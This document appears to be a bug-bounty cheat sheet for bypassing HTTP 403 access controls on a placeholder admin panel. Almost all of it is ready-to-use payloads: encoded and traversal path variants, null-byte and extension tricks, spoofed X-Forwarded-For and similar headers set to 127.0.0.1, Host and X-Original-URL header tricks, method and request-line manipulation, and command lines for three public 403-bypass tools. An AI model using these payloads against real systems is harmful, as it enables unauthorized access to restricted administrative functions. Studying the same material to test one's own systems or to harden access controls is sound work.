Bypass 403 Error Tips

Lets Assume Our Path

`http://target.com/v3/AdminPanel` -:> **[403]**

Path Manipulation

▼ **Add Before The Path Tricks**

```
 /v3/%2f/AdminPanel
/v3/%2e%2f/AdminPanel
/v3/%252f/AdminPanel
/v3/%5c/AdminPanel
/v3/%C0%AF/AdminPanel
/v3/..;/AdminPanel
/v3/.//AdminPanel
/v3///AdminPanel
/v3//AdminPanel
/v3/#/../AdminPanel
/v3;X=Y/AdminPanel
/v3../AdminPanel
/v3/%2e%2e/AdminPanel/
/v3/%2e/AdminPanel/
/v3/..3B/AdminPanel/
/v3/;AdminPanel/
/v3/200-OK/..//AdminPanel/
/v3/200-OK /%2e%2e/AdminPanel/
```

▼ **Add After The Path Tricks**

```
 /v3/AdminPanel/
/AdminPanel/.
/AdminPanel%20
/AdminPanel%09
/AdminPAnel/..;/
/AdminPanel..;/
/AdminPanel;/../200-OK
/AdminPanel//../
/AdminPanel?
/AdminPanel??
/AdminPanel&
/AdminPanel#
/AdminPanel%
/AdminPanel%20
/AdminPanel%09
/AdminPanel../
/AdminPanel/../
/AdminPanel/..;/
/AdminPanel..%2f
/AdminPanel\..\.\
/AdminPanel../../
/AdminPanel/*..%00/
/AdminPanel..%0d/
/AdminPanel..%5c
/AdminPanel..\
/AdminPanel;
/AdminPanel..%ff
/AdminPanel%2e%2e%2f
/AdminPanel.%2e
/AdminPanel%3f
/AdminPanel%26
/AdminPanel%23
/AdminPanel//./axx
/AdminPanel%00axx
```

▼ Add After + Before The Path Tricks

```
 /v3/AdminPanel/
/AdminPanel/.
/AdminPanel%20
/AdminPanel%09
/AdminPAnel/..;/
/AdminPanel..;/
/AdminPanel;/../200-OK
/AdminPanel//../
/AdminPanel?
/AdminPanel??
/AdminPanel&
/AdminPanel#
/AdminPanel%
/AdminPanel%20
/AdminPanel%09
/AdminPanel../
/AdminPanel/../
/AdminPanel/..;/
/AdminPanel..%2f
/AdminPanel\..\.\
```

```
/AdminPanel../../
/AdminPanel/*..%00/
/AdminPanel..%0d/
/AdminPanel..%5c
/AdminPanel..\
/AdminPanel;
/AdminPanel..%ff
/AdminPanel%2e%2e%2f
/AdminPanel.%2e
/AdminPanel%3f
/AdminPanel%26
/AdminPanel%23
/AdminPanel//./axx
/AdminPanel%00Anotherpath
```

```
 /v3/./AdminPanel/./
/v3//AdminPanel//
/v3/200-OK/%2e%2e/AdminPanel/200-OK/%2e%2e
/v3/%2e%2e/AdminPanel/%2e%2e
```

▼ Extension Tricks

- **Add Extenion**

```
/v3/AdminPanel.json
 /v3/AdminPanel.php
 /v3/AdminPanel.PHp
 /v3/AdminPanel.aspx
 /v3/AdminPanel.AspX
 /v3/AdminPanel.JSP
 /v3/AdminPanel.jsp
```

- Which Return 403 or not return 404 Try it

```
/v3/Admin%2e/.php%3b.jpg
/v3/Admin.php%3F.png
/v3/Admin.php%00.png
```

▼ Name Tricks

- **Capitalization**

```
/v3/ADMINPANEL/
```

- **Encode First Characte**

```
/v3/%61dminPAnel
```

Headers Manipulation

▼ Forwarder Headers Tricks

> X-Forwarded-For: 127.0.0.1

> X-Forwarded-For: 127.0.0.1\r

> X_Forwarded_For: 127.0.0.1

> X-Forwarded-For: 127.0.0.1\r

> Forwarded: for=127.0.0.1

> Forwarded: for=::1:80

> X-Custom-IP-Authorization: 127.0.0.1

> X-ProxyUser-Ip: 127.0.0.1

> X-Client-IP: 127.0.0.1

> X-Real-IP: 127.0.0.1

> True-Client-IP: 127.0.0.1

> CF-Connecting-IP: 127.0.0.1

> X-Cluster-Client-IP: 127.0.0.1

> Fastly-Client-IP: 127.0.0.1

> X-Originating-IP: 127.0.0.1

> X-Remote-IP: 127.0.0.1

> X-Remote-Addr: 127.0.0.1

> X-Host: 127.0.0.1

> X-Forwarded-Host: 127.0.0.1

> X-Forwarded-By: 127.0.0.1

▼ **Content Headers Tricks**

- **Content Type**

  > Content-Type: 0

  > Content-Type: application/another-text/+++x-www-form-urlencoded

  > Content-Type: application/json

  > Content-Type: application/x-php

  > Content-Type: multipart/form-data; boundary=HELLO\x00XXXXXXXXX

- **Content Length**

  > Content-Length: 1

  > Content-Length: 0

▼ **HOST Header Tricks**

- **LocalHost**

  > Host: localhost

- **LowerCase Host Header**

  > host: target.com

- **Without Space Host Header**

  > Host:target.com

- **Tabbed host header**

  > Host: target.com

- **Double host header**

```
GET /login.php HTTP/1.1
Host: favoritewaf.com
Host: localhost
```

- **host header is Normal But URL is localhost**

```
GET http://localhost/AdminPanel HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
```

▼ X-Original-URL Header Tricks

🐙 **Make A normal Request to any end point Your Put Path in this haederIf**
NOTE: Put The Parameters in Request Body or URL

```
GET /?username=carlos HTTP/1.1
```

```
X-Rewrie-URL: /adminPanel
X-Original-URL: /AdminPanel
X-Original-URL: /AdminPanel/adduser
```

▼ Refferer Header Tricks

🐙 **NOTE :** You need To Know what is the correct previous path From Admin Request
Referer: http:///target.com/previous/

Method Manipulation

Original Request

```
GET /AdminPanel HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
```

▼ Change Method Trick

```
POST /AdminPanel HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
```

▼ Tab Trick

```
    POST /AdminPanel HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
```

▼ \r\rn Trick

```
\r\n
GET /AdminPanel HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
```

▼ LowerCase Method Trick

```
get /AdminPanel HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
```

▼ Absolute URL in Request

```
GET http://target.com/authorization/AdminPanel HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
```

Another Tricks

▼ Protocol Manipulation

`http://target.com/AdminPanel` instead of `https://target.com/AdminPanel`

▼ Old Version Missconfiguration

`https://target.com/v1/AdminPanel`

▼ Dorking The Path With Google - Github

- **Google:** `site:company.com inurl:/authorization-response`

- **GitHub:** `python3 github-endpoints.py -d www.company.com -s -r`

Automated Tools

403Fuzzer

> https://github.com/bbhunter/403fuzzer

```
python3 403fuzzer.py --url http://target.com/AdminPanel
```

Bypass403

> https://github.com/iamj0ker/bypass-403

```
./bypass-403.sh http://target.com AdminPanel
```

4-Zero-3

https://github.com/Dheerajmadhukar/4-ZERO-3

```
./403-bypass.sh -u http://target.com/AdminPanel --exploit
```